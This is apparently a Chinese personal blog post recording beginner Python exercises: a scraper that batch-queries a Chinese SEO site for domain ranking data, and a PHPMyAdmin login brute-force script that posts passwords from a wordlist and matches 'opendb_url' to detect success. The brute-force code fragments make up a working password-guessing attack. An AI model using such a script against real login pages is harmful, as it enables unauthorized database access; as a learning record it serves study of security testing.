python怎么写爬虫脚本_Python爬虫和爆破脚本编写练习记录一

Python学习记录脚本,想通过练习编写脚本一点点提升自己很菜的编程水平~~明天会更好,希望自己越来越强吧。

批量检测域名SEO相关信息

项目地址

实现原理

Python3实现批量查询网站的百度权重以及收录情况,利用的是站长之家的SEO查询接口,所以本脚本相当于是一个爬虫,用来批量提取数据信息。

15319245236909.png

模块相关

argparse

argparse轻松编写用户友好的命令行界面。定义并解析了需要的参数。当用户给程序提供无效参数时,该模块还会自动生成帮助和使用消息并发出错误。

效果演示

1531924801788.png

progressbar

一个方便友好的进度条显示模块。

效果演示

15319250802089.gif

prettytable

一个表格输出美化模块,展示结果很友好。

效果演示

15319251753630.png

相关代码解析

request请求代码f = open(args.read,"r")

lines = ''.join(f.readlines()).split("\n")

tb = pt.PrettyTable(["域名","百度权重","百度收录","站点标题","域名年龄"])

p = progressbar.ProgressBar()

for domain in p(lines):

url = 'http://seo.chinaz.com/{domain}'.format(domain=domain)

headers = {

'Host': 'seo.chinaz.com',

'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',

'Content-Type': 'application/x-www-form-urlencoded',

}

data = 'm=&host={domain}'.format(domain=domain)

try:

response = requests.post(url=url,headers=headers,data=data,timeout=10)

html = response.text

正则相关# 百度权重正则

baidu_pattern = re.compile(r'baiduapp/(.*?).gif')

baidu = baidu_pattern.findall(html)[0]

# 收录数量正则

count_pattern = re.compile(r'"Ma01LiRow w12-1 ">(.*?)

')

count = count_pattern.findall(html)[4]

# 站点标题正则

domain_name = re.compile(r'class="ball">(.*?)')

name = domain_name.findall(html)[0]

# 域名年龄正则

domain_year = re.compile(r'wd={domain}" target="_blank">(.*?)'.format(domain=domain))

year = domain_year.findall(html)[1]

PHPMyAdmin爆破

项目地址

实现原理

从字典文件里面读取每行的密码信息带入requests请求中实现密码爆破的效果。 本脚本测试PHPMyAdmin版本是PHPStudy自带的版本。

模块相关

colorama

colorama是一个python专门用来在控制台、命令行输出彩色文字的模块,可以跨平台使用。

效果演示

15319254709687.png

optparse

一个已经被argparse替代的命令行参数编写模块,建议搭建转到argparse,这个模块不建议学习使用了,我当初因为不知道argparse的存在才用了这个模块的。

相关代码解析

request请求代码def req(url,username,password):

headers = {

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

}

payload = {

'pma_username':'{}'.format(username),

'pma_password':'{}'.format(password),

'server':'1',

}

res = requests.post(url,data=payload,headers=headers)

return res

正则相关

正则匹配输入密码后的页面返回结果来判断是否爆破成功。

try:

res = req(args.url,args.username,password)

login_success = re.compile(r'opendb_url')

success = login_success.search(res.text)

if success:

flag = True

print(Fore.GREEN + "\n[+] PHPMyAdmin is vulerable")

print("Phpmyadin password is " + password)

break

except Exception as e:

print(Fore.YELLOW + '执行异常{}'.format(e))

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值